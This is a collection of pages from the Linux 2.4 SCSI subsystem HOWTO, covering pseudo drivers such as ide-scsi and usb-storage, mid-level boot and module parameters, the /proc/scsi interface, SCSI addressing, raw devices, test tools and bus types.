This section briefly outlines various pseudo lower level drivers which essentially communicate with other Linux subsystems in order to send the SCSI command set to devices controlled by those other subsystems. This raises some ownership issues that often confuse users and result in many questions to the maintainers.

IDE-SCSI. From configuration point of view, ide-scsi will grab and try to control every ATA (a.k.a. IDE) device which doesn't have a "native" driver attached (such as ide-cd, ide-tape, etc). So for example, if both ide-cd and ide-scsi are compiled into the kernel in a system which has an ATAPI cdrom, ide-cd will get to control it. If only ide-scsi is compiled in, it will get the device. There are some kernel boot time parameters to control which driver gets which device.

The preferences of the IDE subsystem can be overridden with one of these kernel boot time parameters (of which the first is most interesting for this subsystem):

  • hdx=ide-scsi

  • hdx=ide-cdrom

  • hdx=ide-floppy

[The term "hdx" is used to refer to one of the IDE/ATA devices in {hda, hdb, hdc ...}.] In the 2.4 series "hdx=scsi" was added but it is not very useful, see see Section 9.2.4.

When the driver is running, the device will be accessible using the SCSI device (/dev/sda, /dev/sr0, etc), and not through the corresponding /dev/hdx device. Still, the /dev/hdx device will be available, but only for configuration.

All the generic IDE configuration parameters (DMA on/off, 32-bit I/O, unmasking irq's, etc) are available by using the /dev/hdx device, for example to enable DMA:
        hdparm -d1 /dev/hdx
Using cat /proc/ide/hdx/settings will show the available settings. All the generic IDE driver settings will be available there, as well as the following "ide-scsi specific" settings:

  • bios_cyl

  • bios_head

  • bios_sect

  • transform

  • log

The first three choose the virtual geometry that the drive will return to the sd driver, in case it's a disk drive (ZIP, etc). "transform" will configure/enable/disable the SCSI to ATAPI CDB transformation layer:

  • bit 0: Enable(1)/Disable(0) transformation for commands not originated from the sg driver.

  • bit 1: Enable/Disable transformation for commands issued using the sg driver.

"log" will log debugging information. This is useful also to debug user-space programs using the sg driver, as it will list the CDB traffic on the bus -- each issued command, along with its completion status. To enable/disable a specific settings, use something like:
        echo "log:1" > /proc/ide/hdx/settings

PPA + IMM. Iomega ZIP drives come in a variety of flavours including parallel port, SCSI, and ATAPI. The parallel port versions (both old and new) are driven by ppa and imm respectively.

The parallel port ZIP drives are actually SCSI devices which tunnel SCSI commands over the parallel port using interfaces called VPI0 (older-style) and VPI2 (newer-style). The ppa driver is the VPI0 host implementation and the imm driver is the VPI2 host implementation.

The way it works is that the HBA is a chip inside the ZIP drive, so that the host adapter and the peripheral are in the same actual case.

PPSCSI. The new, not-yet-integrated, architecture for devices that use SCSI over a parallel port cable is ppscsi. The ppscsi module provides the boiler plate code and makes it easy to write implementations for different interfaces.

Each ppscsi protocol module registers itself with the ppscsi module, passing in a list of entry points for the various things that are common to all protocol drivers.

The structure of the PPSCSI drivers.

The plan is that the ppscsi architecture will absorb both the ppa and imm drivers and protocol modules; only vpi0 has been written so far. See www.torque.net/parport/ppscsi.html.

USB. USB classifies a group of devices as "mass storage" (e.g. disks) and interacts with these using the SCSI command set. The module name is "usb-storage". See www.one-eyed-alien.net/~mdharm/linux-usb.

There is also the usb/microtek driver for controlling X6 USB scanners from Microtek. When configured, the SANE application uses the sg driver to send SCSI commands over USB to control this scanner.

I2O. See kernel source file /usr/src/linux/drivers/i2o/io2_scsi.c.

IEEE 1394. Support for IEEE 1394 devices that use the SBP-2 protocol is now available (lk 2.4.7). See the IEEE 1394 paragraph in this section for more information.

iSCSI. An IETF draft is taking shape for iSCSI. This sends the SCSI command set over a TCP network connection. iSCSI seems to be gaining popularity quickly and there are several implementations for Linux taking shape. One implementation is at sourceforge.net/projects/intel-iscsi/. Use your favourite search engine to find other projects.

Prev | Home | Next
Lower Level drivers | Up | Raw devices


The Linux 2.4 SCSI subsystem HOWTO

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts.

For an online copy of the license see www.fsf.org/copyleft/fdl.html.

Home


boot parameters

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 8. Mid Level, Unifying layer Next

8.1. boot parameters

SCSI drivers that are built into the kernel are checked in a pre-determined order to see if HBAs that they can control are present. The user has no control over this order which in most cases is arbitrary but in the case of some older ISA adapters is required to stop misidentification [1] .

scsi_logging=<n>
    where <n> is 0 to turn logging off
    where <n> is non-zero to turn logging on

max_scsi_luns=<n>
    where <n> is a number between 1 and 8 (< lk 2.4.7),
        >= lk 2.4.7 the upper limit can be much larger

scsihosts=host0:hosts1::host3

The recently introduced devfs defines a "scsihosts" boot time parameter to give the user some control over this. See the devfs documentation [ref: W5] for a description. The host names given in the list to the "scsihosts" boot option are the names of lower level drivers (e.g. "scsihosts=advansys:imm::ide-scsi"). Devfs does not need to be present for "scsihosts" to be used. The "scsihosts" parameter, if given, is echoed during in the boot up messages. For example:
scsi: host order: advansys:imm::ide-scsi
Also if multiple HBA are present in a system then they are scanned in a fixed order (see footnote). The "scsihosts" parameter only effects how these HBAs are indexed (i.e. which SCSI adapter numbers are associated with them by the kernel). In the above example, if the "imm" driver is not found during boot up, then the scsi adapter number "1" is not allocated. If the "imm" driver is later loaded as a module, then it will adopt scsi adapter number "1". If a driver that is not named in "scsihosts" is found, then it will get the next available scsi adapter number (e.g. a built in aic7xxx driver would get scsi adapter number "2" in the above example).

A full list of kernel parameters with some explanations can be found in the file /usr/src/linux/Documentation/kernel-parameters.txt.

Notes

[1]

PCI adapters are much "safer" for initialization code than the older ISA adapters. Hence the order of initialization of PCI adapters is unlikely to lead to lockups. In this case the order of initialization (and thus SCSI adapter numbers) of built in drivers may be modified by changing the order of entries in the SCSI subsystem Makefile (/usr/src/linux/drivers/scsi/Makefile). Beware: some adapters may be recognized by more than one lower level driver (e.g. those based on NCR chipsets).

Prev | Home | Next
Mid Level, Unifying layer | Up | module parameters


Mid Level, Unifying layer

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 8. Mid Level, Unifying layer

Table of Contents
8.1. boot parameters
8.2. module parameters
8.3. proc interface

The SCSI mid level is common to all usage of the SCSI subsystem. Probably its most important role is to define internal interfaces and services that are used by all other SCSI drivers. These internal mechanisms are not discussed in this document [see ref: W2].

The primary kernel configuration parameter "CONFIG_SCSI" determines whether the mid level is built in (when "=y") or a module (when "=m"). If "CONFIG_SCSI=m" then all other SCSI subsystem drivers must also be modules.

When the mid level is built as a module then it probably never needs to be loaded explicitly because using 'modprobe' to load any other SCSI subsystem module will cause the mid level to be loaded first (if it is not already).

Some upper and lower level drivers do not (fully) load if there are no devices for that driver to control. Sometimes the report is loud as in this case for the imm driver which controls zip drives connected to a parallel port:
$ modprobe imm
   imm.o: init_module: No such device
lsmod will not show the "imm" module as loaded. In other cases the result is more subtle. For example, if the sg driver is loaded in a system with no (real or pseudo) scsi devices then the /proc/scsi/sg directory will not appear. [It will be created when the first scsi device is recognized.]

Prev | Home | Next
Proc pseudo file system |  | boot parameters


module parameters

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 8. Mid Level, Unifying layer Next

8.2. module parameters

If SCSI disks are present in the system then it usually is better to build the mid level driver into the kernel. However if the SCSI subsystem is only being used periodically (e.g. to burn CD-Rs on an ATAPI CD writer) then building the mid level as a module is fine. The module load time options are the same as the driver's built in options:
scsi_logging_level=<n>
    where <n> is the logging level mask (0 for logging off)
max_scsi_luns=<n>
scsihosts=host0::host2

Prev | Home | Next
boot parameters | Up | proc interface


proc interface

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 8. Mid Level, Unifying layer Next

8.3. proc interface

To display the SCSI devices currently attached (and recognized) by the SCSI subsystem use cat /proc/scsi/scsi.

The output looks like this:
    Attached devices:
    Host: scsi0 Channel: 00 Id: 02 Lun: 00
      Vendor: PIONEER  Model: DVD-ROM DVD-303  Rev: 1.10
      Type:   CD-ROM              ANSI SCSI revision: 02
    Host: scsi1 Channel: 00 Id: 00 Lun: 00
      Vendor: IBM      Model: DNES-309170W     Rev: SA30
      Type:   Direct-Access       ANSI SCSI revision: 03

After the "Attached devices:" line there are 3 lines for each recognized device. The first of these lines is SCSI address information discussed in Section 3.1. The following 2 lines of data are obtained from a INQUIRY command that was performed on the device when it was attached. See Section 9.4 for the relationship between the ordering of these devices compared with the sg driver's ordering (which most of the time is the same).

Existing devices can be removed using echo "scsi remove-single-device <h> <b> <t <l>" > /proc/scsi/scsi where the variables are host, bus (channel), target (scsi id) and lun. The success (or otherwise) of this command can be determined by sending a subsequent cat /proc/scsi/scsi command. The removal will fail if the device is busy (e.g. if a file system on the device is mounted).

New devices can be added using echo "scsi add-single-device <h> <b> <t> <l>" > /proc/scsi/scsi where the variables are host, bus (channel), target (scsi id) and lun. The success (or otherwise) of this command can be determined by sending a subsequent cat /proc/scsi/scsi command. [1]

The SCSI subsystem does not support hot-plugging of SCSI devices (there may also be electrical issues on the associated SCSI parallel bus). It is recommended that those who use add+remove-single-device make sure that other devices on that SCSI bus are inactive if re-plugging is going to take place.

To output a list of internal SCSI command blocks use echo "scsi dump <n>" > /proc/scsi/scsi where the numeric value of <n> doesn't matter. This is probably only of interest to people chasing down bugs within the SCSI subsystem.

To start (or stop) logging information being sent to the console/log use echo "scsi log <token> <n>" > /proc/scsi/scsi where <token> is one of: {all, none, error, timeout, scan, mlqueue, mlcomplete, llqueue, llcomplete, hlqueue, hlcomplete, ioctl} and <n> is a number between 0 and 7. The tokens "all" and "none" don't take an <n> argument. Prefix meanings:
    hl    upper level drivers [exception: sg uses "timeout"]
    ml    mid level
    ll    lower level drivers
           [adapter drivers often have there own flags]
The value "0" turns off logging while "7" maximizes the volume of output. Logging information will only be output if CONFIG_SCSI_LOGGING was selected in the kernel build.

Warning

Warning: "scsi log all" (and several other variants) can cause a logging infinite loop if the log file (typically /var/log/messages) lies on a SCSI disk. Either turn off the kernel logging daemon or direct its output to a non SCSI device.

Notes

[1]

The parsing of "add-single-device" and "remove-single-device" is rather inflexible. Hence it is best to stay close to the demonstrated syntax with no extra spaces (and no tabs).

Prev | Home | Next
module parameters | Up | Upper level drivers


Modules and their Parameters

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 6. Modules and their Parameters

There are many SCSI related modules. The mid and upper level modules are listed below:

  • scsi_mod.o

  • sd_mod.o

  • sr_mod.o

  • st.o [osst.o]

  • sg.o

Notice that the first 3 have "_mod" appended to their normal driver names. Lower level drivers tend to use the name (or an abbreviation) of the HBA's manufacturer (e.g. advansys) plus optionally the chip number of the major controller chip (e.g. sym53c8xx for symbios controllers based on the NCR 53c8?? family of chips).

All SCSI modules depend on the mid level. This means if the SCSI mid level is not built into the kernel and if scsi_mod.o has not already been loaded then a command like modprobe st will cause the scsi_mod.o module to be loaded. There could well be other dependencies, for example modprobe sr_mod will also cause the cdrom module to be loaded if it hasn't been already. Also if the SCSI mid level is a module, then all other SCSI subsystem drivers must be modules (this is enforced by the kernel build configuration tools).

Modules can be loaded with the modprobe <module_name> command which will try to load any modules that the nominated <module_name> depends on. Also <module_name> does not need the trailing ".o" extension which is assumed if not given. The insmod <module_name> command will also try and load <module_name> but without first loading modules it depends on. Rules for how modules can cause other modules to be loaded (with appropriate parameters appended) are usually placed in the file /etc/modules.conf. [Note that in earlier Linux kernels this file was often called /etc/conf.modules.] For further information about the format of this file try man modules.conf.

When upper level drivers are initialized and if there are no hosts active then the mid level will attempt to load a module called "scsi_hostadapter". An "alias" can then be used to associate "scsi_hostadapter" with the actual name of the lower level (adapter) driver. For example, a line like "alias scsi_hostadapter aic7xxx" in the /etc/modules.conf file would cause the aic7xxx module to be loaded (if there were no lower level drivers already active). [1]

There is a special relationship between the module parameter "scsi_hostadapter" and the initrd file system. For more information see man initrd and man mkinitrd. [2]

Notes

[1]

There is a sequencing issue here if the root file system is on the SCSI device controlled by the lower level (adapter) driver to be loaded since it contains the /etc/modules.conf file. Also there is the issue of how the boot loader obtains the initial kernel image from a SCSI device (often from the (master) boot record). The latter is usually taken care of by the system's or adapter card's BIOS.

[2]

An example of using mkinitrd: assume the root partition is on a SCSI disk connected to a controller from Adaptec that requires the aic7xxx driver. After building a kernel with the aic7xxx driver specified as a module then load the image into the normal place (probably in the /boot directory). Next make sure a line like "alias scsi_hostadapter aic7xxx" is in the /etc/modules.conf file. Then from the /boot directory execute a line like mkinitrd /boot/initrd-2.4.5.img 2.4.5 (this assumes lk 2.4.5 is being build). This should result in the file initrd-2.4.5.img being created. The /etc/lilo.conf should then have a section added looking something like this:
image=/boot/vmlinuz-2.4.5
    label=linux
    initrd=/boot/initrd-2.4.5.img
    read-only
    root=/dev/sda7
The following should also be selected in the kernel configuration:
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y
See also Documentation/initrd.txt.

Prev | Home | Next
Boot Parameters |  | Proc pseudo file system


Names and Addresses

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 3. Names and Addresses

Table of Contents
3.1. SCSI Addressing
3.2. Device Names
3.3. Device Names in devfs
3.4. Device Names in scsidev

This section covers the various naming schemes that exist in Linux and the SCSI worlds and how they interact.

Prev | Home | Next
Architectural Overview |  | SCSI Addressing


Performance, Test and Debugging tools

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Appendix D. Performance, Test and Debugging tools

scu. The SCSI Command Utility (SCU) implements various SCSI commands necessary for normal maintenance and diagnostics of SCSI peripherals. Some of its features include: formatting, scanning for (and reassigning) bad blocks, downloading new firmware, executing diagnostics and obtaining performance information. It is available on several Unix platforms (and NT), however it is only currently available in binary form. See www.bit-net.com/~rmiller/scu.html for more details.

dd. Very useful for testing the streaming performance of disks and cdroms/dvds. See man dd for more details. Here is an example for timing how long a disk takes to read 1 GB (10**9 bytes) starting from block 0:
$ time dd if=/dev/sda of=/dev/null bs=512 count=1953126
If the raw device /dev/raw/raw1 is bound to /dev/sda then the above line is equivalent to:
$ time dd if=/dev/raw/raw1 of=/dev/null bs=512 count=1953126
This may be slower than expected since one 512 byte sector is being read at a time. Changing the last 2 arguments to "bs=8k count=122071" should give better timings for the "raw" dd.

dt. The Data Test (DT) program is modelled on dd's syntax but dt can do a lot more than sequential copies. It is a comprehensive data test program for SCSI devices such as disks, tapes and cdrom/dvds. It is available on several Unix platforms (and NT), and its source is available (unlike its stable mate "scu" discussed earlier). See www.bit-net.com/~rmiller/dt.html for more details.

lmdd. This command is part of the lmbench suite of programs and is a variant of the dd command. It has been tailored for IO measurements and outputs timing and throughput numbers on completion. Hence the time command and a calculator are not needed.

sg_dd. This command is part of the sg_utils package (see W4) and is another variant of the dd command in which either the input and/or output file is a sg or a raw device. The block size argument ("bs") must match that of the physical device in question. The "skip" and "seek" arguments can be up to 2**31 - 1 on a 32 bit architecture allowing 1TB disks to be accessed (2G * 512). The Linux system command llseek() is used to seek with a 64 bit file read/write offset. The lmdd does not handle the > 2GB case and the dd command gets creative with multiple relative seeks. sg_dd has a "bpt" (blocks per transfer) argument that controls the number of blocks read or written in each IO transaction.

There are other programs in the sg_utils package to scan the SCSI bus (sg_scan and sg_map), to measure SCSI bus throughput (sg_rbuf and sg_turs), show data from the SCSI inquiry command (sg_inq) and spin up (or down) media (sg_start).

dd_rescue + scsiinfo. This dd variant is designed to rescue damaged media such as SCSI (or IDE) disks and CDROMs (see W6). The scsiinfo utility for displaying and changing mode page information is also at that site.

sard. This utility is modelled on System V Release 4's sar -d for producing IO statistics for mounted devices and partitions. It has been developed by Stephen Tweedie and includes the sard utility and a required kernel patch which expands the output of /proc/partitions . It can be found at ftp.uk.linux.org/pub/linux/sct/fs/profiling. It collects statistics at a relatively low level (e.g. SCSI mid level) compared to programs like vmstat (see "man vmstat").

Prev | Home | Next
Troubleshooting |  | Compile options and System calls including ioctls


Proc pseudo file system

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 7. Proc pseudo file system

The proc pseudo file system provides some useful information about the SCSI subsystem. The kernel configuration option that selects "proc_fs" is CONFIG_PROC_FS and in almost all cases it should be selected. SCSI specific information is found under the directory /proc/scsi. Probably the most commonly accessed entry is cat /proc/scsi/scsi which lists the attached SCSI devices. See Section 8.3 for more details.

The lower level drivers are allocated proc_fs entries of the form:
    /proc/scsi/<driver_name>/<scsi_adapter_number>
where the <driver_name> is something like "aic7xxx" or "BusLogic". The <scsi_adapter_number> (also known as the host number) is the same number that was discussed in Section 3.1. Note that one driver may control one or more hosts. What is stored in this file is lower level driver dependent (and in the case of some adapter drivers it is possible to set parameters via this file). When reporting problems to newsgroups or maintainers it is useful to include the output of this file (e.g. cat /proc/scsi/aic7xxx/0 ).

The cdrom driver provides information about attached cdrom devices in the /proc/sys/dev/cdrom directory. This will include both SCSI devices (i.e. those controlled by the sr driver) and IDE devices (i.e. those controlled by the ide-cd driver). See Section 9.2.3.

The sg driver provides information about its state and attached hosts and devices in the /proc/scsi/sg directory. See Section 9.4.3.

More general information on the proc pseudo file system can be found in the kernel source file: /usr/src/linux/Documentation/filesystems/proc.txt.

Prev | Home | Next
Modules and their Parameters |  | Mid Level, Unifying layer


Raw devices

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 11. Raw devices

A raw device can be bound to an existing block device (e.g. a disk) and be used to perform "raw" IO with that existing block device. Such "raw" IO bypasses the caching that is normally associated with block devices. Hence a raw device offers a more "direct" route to the physical device and allows an application more control over the timing of IO to that physical device. This makes raw devices suitable for complex applications like Database Management Systems that typically do their own caching.

Raw devices are character devices (major number 162). The first minor number (i.e. 0) is reserved as a control interface and is usually found at /dev/rawctl. A utility called raw (see man raw) can be used to bind a raw device to an existing block device. These "existing block devices" may be disks or cdroms/dvds whose underlying interface can be anything supported by Linux (e.g. IDE/ATA or SCSI).

A sequence of commands listing the raw devices and then binding a SCSI disk partition followed by binding the whole disk looks like this on my system:
$ ls -lR /dev/raw*
crw-r--r--    1 root     root     162,   0 Dec  6 06:54 /dev/rawctl

/dev/raw:
total 0
crw-r--r--    1 root     root     162,   1 Dec  6 06:54 raw1
crw-r--r--    1 root     root     162,   2 Dec  6 06:54 raw2
crw-r--r--    1 root     root     162,   3 Dec  6 06:54 raw3
crw-r--r--    1 root     root     162,   4 Dec  6 06:54 raw4
$
$ raw -qa
$
$ raw /dev/raw/raw1 /dev/sda3
/dev/raw/raw1:  bound to major 8, minor 3
$ raw /dev/raw/raw2 /dev/sda
/dev/raw/raw2:  bound to major 8, minor 0
$ raw -qa
/dev/raw/raw1:  bound to major 8, minor 3
/dev/raw/raw2:  bound to major 8, minor 0

The normal array of system calls for character devices are available on raw devices. The size of the transfer for read(2) and write(2) must be an integral multiple of the physical device's block size. For a disk this will be its sector size which is normally 512 bytes. The data buffer given to read() and write() system calls must be aligned to the block size. The lseek(2) call needs to align its file read/write offset to a block boundary as well. The pread(3) call (see man pread) combines a read() and a lseek() and can be useful with raw devices (dito with pwrite() ). Care should be taken with offsets greater than 2 GB (or perhaps 4 GB) on 32 bit architectures where the "off_t" type is 32 bits long. One solution is to use the _llseek() call (see man llseek).

Unix utilities such as recent versions of dd and lmdd (from the lmbench suite of programs) can be used to move data to and from "raw" devices as they meet the above-mentioned block alignment requirements. Recent versions of the sg_dd command in the sg_utils package can access both raw and sg devices.

Warning

If a block device is being accessed via a bound raw device and also via its normal block interface then there is no cache coherency between the two access mechanisms. For example if /dev/sda1 was both mounted and being accessed via a bound raw device then there could be data inconsistencies.

Prev | Home | Next
Pseudo drivers |  | Devfs pseudo file system


References, Credits and Corrections

The Linux 2.4 SCSI subsystem HOWTO
Prev

Appendix F. References, Credits and Corrections

WEB. The following references are found on the web. Please alert the author if any of these links become stale.

[W1] SCSI (draft) standards, resources: www.t10.org

[W2] Eric Youngdale is the chief architect of the Linux SCSI subsystem: www.andante.org/scsi.html

[W3] Jens Axboe maintains the cdrom subsystem which includes sr: www.kernel.dk

[W4] The author's scsi generic (sg) site is: www.torque.net/sg. The Linux Documentation Project's site includes the www.linuxdoc.org/HOWTO/SCSI-Generic-HOWTO/ . A (possibly later) version of that document can be found at www.torque.net/sg/p/sg_v3_ho . The sg_utils and sg3_utils packages, as tarballs and as binary and source rpms can also be found on this page. These packages and others available for the sg driver are discussed at www.torque.net/sg/u_index.html.

[W5] Richard Gooch's devfs site: www.atnf.csiro.au/~rgooch/linux/docs/devfs.html

[W6] Kurt Garloff's site (including the scsidev and the scsiinfo utilities): www.garloff.de/kurt/linux/. Kurt also has the damaged media rescue program dd_rescue at this site: www.garloff.de/kurt/linux/ddrescue

[W7] Drew Eckhardt's SCSI-HOWTO from 1996 (in ASCII): metalab.unc.edu/pub/Linux/docs/HOWTO/unmaintained/SCSI-HOWTO

[W8] Linux Documentation Project (LDP): linuxdoc.org

[W9] SCSI Trade Association site has a lot of useful information: www.scsita.org

[W10] SCSI FAQ site - useful source of information and links: www.scsifaq.org

NEWSGROUPS. The following entries are actually reflectors rather than newsgroups. Various web locations archive their contents (e.g. marc.theaimsgroup.com).

[N1] Linux SCSI reflector: < linux-scsi@vger.kernel.org >. This is a relatively low volume (circa 200 postings per month) Linux SCSI specific group that many of the SCSI subsystem maintainers monitor.

[N2] Linux kernel reflector: < linux-kernel@vger.kernel.org >. This is a relatively high volume (circa 5000 postings per month) group for all aspects of the Linux kernel. The Linux SCSI reflector should be tried first.

BOOKS. Here are some books that the author found useful.

[B1] "Linux Device Drivers" Second edition by Alessandro Rubini and Jonathan Corbet [O'Reilly 2001 ISBN 0-596-00008-1] This is a solid text on Linux device drivers including some information on the SCSI subsystem. It covers the block subsystem well and has many char device driver examples. It has been updated for the Linux 2.4 series kernels and also includes information on the Linux 2.2 and 2.0 series. This book is highly recommended. The authors and the publisher have unselfishly made this book available under the GNU Free Documentation License (version 1.1). It can be found in html at www.oreilly.com/catalog/linuxdrive2/chapter/book .

[B2] "Running Linux" 3rd edition by M. Welsh, M. K. Dalheimer & L. Kaufman [O'Reilly 1999 ISBN 1-56592-469-X] This is a classic Linux tome which includes some SCSI configuration info.

[B3] "The Programmer's Guide to SCSI" by Brian Sawert [Addison Wesley 1998 ISBN 0-201-18538-5] This book covers many SCSI topics, including the pass through mechanisms of Linux (sg) and ASPI/ASPI32 as used by Windows.

CREDITS. The author is grateful for the following contributions:

  • Kai Makisara (st) <Kai.Makisara@metla.fi>

  • Jens Axboe (sr) <axboe@suse.de>

  • Richard Gooch (devfs) <rgooch@atnf.csiro.au>

  • Tim Waugh (ppa, imm, ppscsi + docbook) <twaugh@redhat.com>

  • Gadi Oxman (ide-scsi) <gadio@netvision.net.il>

CORRECTIONS and SUGGESTIONS. Please send any corrections or suggestions to the author at <dgilbert@interlog.com> or <dougg@torque.net> .

Prev | Home
sg driver |


SCSI Addressing

The Linux 2.4 SCSI subsystem HOWTO
Prev Chapter 3. Names and Addresses Next

3.1. SCSI Addressing

Linux has a four level hierarchical addressing scheme for SCSI devices:

  • SCSI adapter number [host]

  • channel number [bus]

  • id number [target]

  • lun [lun]

"Lun" is the common SCSI abbreviation of Logical Unit Number. The terms in brackets are the name conventions used by device pseudo file system (devfs). "Bus" is used in preference to "channel" in the description below.

The SCSI adapter number is typically an arbitrary numbering of the adapter cards on the internal IO buses (e.g. PCI, PCMCIA, ISA etc) of the computer. Such adapters are sometimes termed as HBAs (host bus adapters). SCSI adapter numbers are issued by the kernel in ascending order starting with 0.

Each HBA may control one of more SCSI buses. The various types of SCSI buses are listed in Appendix A.

Each SCSI bus can have multiple SCSI devices connected to it. In SCSI parlance the HBA is called the "initiator" and takes up one SCSI id number (typically 7). The initiator [1] talks to targets which are commonly known as SCSI devices (e.g. disks). On SCSI parallel buses the number of ids is related to the width. 8 bit buses (sometimes called "narrow") can have 8 SCSI ids of which 1 is taken by the HBA leaving 7 for SCSI devices. Wide SCSI buses are 16 bits wide and can have a maximum of 15 SCSI devices (targets) attached. The SCSI 3 draft standard allows a large number of ids to be present on a SCSI bus.

Each SCSI device can contain multiple Logical Unit Numbers (LUNs). These are typically used by sophisticated tape and cdrom units that support multiple media.

So Linux's flavour of SCSI addressing is a four level hierarchy:
<scsi(_adapter_number), channel, id, lun>
Using the naming conventions of devfs this becomes:
<host, bus, target, lun>

Notes

[1]

SCSI standards allow for multiple initiators to be present on a single bus. This is not well supported in Linux although there are patches around that improve this situation.

Prev | Home | Next
Names and Addresses | Up | Device Names


Common bus types (SCSI and other)

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Appendix A. Common bus types (SCSI and other)

A very good overview of the various bus types touched on in this appendix (both SCSI and others) can be found at www.pctechguide.com/04disk2.htm.

SCSI. The original SCSI 1 standard (ANSI specification X3.131-1986) introduced an 8 bit parallel bus that was able to do asynchronous transfers at 1.5 MegaBytes/sec and synchronous transfers up to 5 MB/sec. SCSI commands are sent at the asynchronous rate. SCSI data is transferred either at the asynchronous rate (worst case) or a negotiated synchronous rate (with 5 MB/sec being the best case).

FAST SCSI. The SCSI 2 standard raised the maximum synchronous speed to 10 MB/sec. SCSI 2 defined several parallel buses: single ended (as used by SCSI 1) and a new differential bus. The differential bus has better noise immunity and its maximum bus length is 25 metres (compared with single ended's 6 metres). Tagged queuing of commands was also added by SCSI 2.

WIDE SCSI. The SCSI 2 standard also increased the width of the bus allowing 16 and 32 bit "wide" variants. Very little use has been made of the 32 bit width so "wide" usually refers to a 16 bit wide data path. The maximum number of SCSI devices that can connect to a parallel SCSI bus is directly related to the bus width hence "wide" buses allow a maximum of 16 SCSI devices to be connected. [At least one of those devices must be the SCSI "initiator" which is usually a host adapter.]

ULTRA SCSI. Traditionally synchronous buses are clocked either on the rising or falling edge of the clock (which is normally a square wave). A recent trend has been to clock on both edges and thus double the available bandwidth. This is how ULTRA SCSI doubles the SCSI 2 "fast" speed to 20 MB/sec.

ULTRA WIDE SCSI. The same "ultra" technique applied to a (16 bit) wide SCSI parallel bus yields a bandwidth of 40 MB/sec.

ULTRA 2 WIDE SCSI. This variant introduces a new "low voltage" differential signalling (LVD) that allows the synchronous clock speed to be doubled yielding 80 MB/sec when using a (16 bit) wide bus. In this case the maximum SCSI bus length is 12 metres. To be backward compatible with ULTRA WIDE this variant can fall back to "single ended" operation. This leads to the abbreviation LVD/SE being used by adapter manufacturers. One shortcoming of this approach is that the presence of one UW device on a U2W bus will cause all other U2W devices to communicate at the slower (i.e. UW) rate. Some adapters overcome this by having separate LVD and SE physical buses on the same logical SCSI bus.

ULTRA 160 SCSI. ULTRA 160 doubles parallel SCSI bus bandwidth yet again. It uses a 16 bit wide data path, LVD signalling (see previous entry) and double transition clocking that increases the maximum synchronous bandwidth to 160 MB/sec. Additional features include cyclic redundancy codes (CRC) to improve data integrity (compared with a parity bit) and domain validation which adjusts transfer rates if the error rate is too high.

ULTRA 320 SCSI. Shortly ULTRA 320 adapters will be available (disks with that interface are already on the market). This is also a 16 bit wide LVD bus that can fall back to slower speeds for compatibility with older devices. It extends the features of Ultra 160 by doubling the clock speed. Packetized SCSI which sends commands and status at full bus speed (rather than 5 MB/sec) is included. Other improvements include "quick arbitration and selection" and "read and write data streaming". Note that adapter cards using 64 bit PCI (or better: PCI-X) are required to stop the PCI bus being a bottleneck at these speeds. More information can be found at www.scsita.org. One recent Ultra 320 HBA is claiming up to 50,000 IO operations per second which implies per command SCSI bus overhead is less than 20 microseconds. Evidently ULTRA 640 is coming as well.

FC-AL. This stands for Fibre Channel - Arbitrated Loop and may involve dual 2 Gigabit per second single mode fibre optic links spanning 10 kilometres with throughputs of up to 400 MegaBytes per second. Often associated with storage area networks (SANs). Up to 126 devices can be attached to a loop which in turn can be extended to 16 million devices in public loop mode. The transmission medium isn't necessarily fibre optic cable: copper (in the form of co-axial cable) can also be used at lower speeds and for shorter distances.

IEEE 1394. This standard also goes by the name of "Fire Wire" [trademarked by Apple] and "iLink" [trademarked by Sony]. It is a serial bus that can run at up to 400 Megabits/sec. It has a similar but more general architecture than USB. The IEEE 1394 standard allows for the SCSI command set to be carried over a 1394 bus. There is a "sbp2_1394" driver now available for the Linux IEEE 1392 stack. This sbp2_1394 driver is also a SCSI subsystem lower level driver (so it is functionally similar to the ide-scsi driver). So IEEE 1394 devices that use the SBP-2 protocol (e.g. disks, cd-rw/dvd drives, MO drives and scanners) can be accessed via the SCSI subsystem. See Linux1394.sourceforge.net for more information. The sbp2 driver is now in lk 2.4.7 .

iSCSI. This is an emerging IETF standard for sending the SCSI command set over a TCP connection (or several of them). This will permit SCSI devices (targets such as disks) to be network appliances, accessed locally (or potentially at a great distance) by a host machine.

NON SCSI buses. The following buses are not defined by the SCSI standards but are of interest because they either can carry the SCSI command set, are in some way related to the Linux SCSI subsystem or supply a similar functionality to SCSI products.

IDE/ATA (ATAPI). IDE is the most used disk type on PC systems today. The acronym stands for Integrated Drive Electronics and as the name suggests it places the bulk of the IO "intelligence" on the disk controller card rather than spreading it between the device (most often a disk) and a controller (HBA) as SCSI does. IDE grew out of the ST506 and ESDI standards in the 1980s. EIDE (extended IDE) is a related acronym. The modern standards that refer to this bus architecture are known as ATA and can be found at www.t13.org. The ATA Packet Interface (ATAPI) extends the disk oriented command set to support CDROM and tape drives. The ATAPI command set closely resembles the SCSI command set. The most recent ATA technology is outlined in the next paragraph.

ATA 133. The ATA standards used by IDE devices have also been marching through the adjectives (e.g. fast and ultra) and the numbers (e.g. 2, 33, 66, 100 and 133). The most recent addition is ATA 133 which supports burst rates of 133 MB/sec and up to 2 devices per bus. [PCs typically have 2 and often 4 ATA buses.] ATA 66, 100 and 133 need a special cable. ATA cables are relatively short precluding IDE devices being external to the computer. Cable lengths have previously been limited to 18 inches although 1 metre long cables have now appeared. Coincidently 133 MB/sec in also the maximum throughput of the normal PCI bus found in most PCs. The are higher speed (and wider) versions of PCI but they are relatively rare.

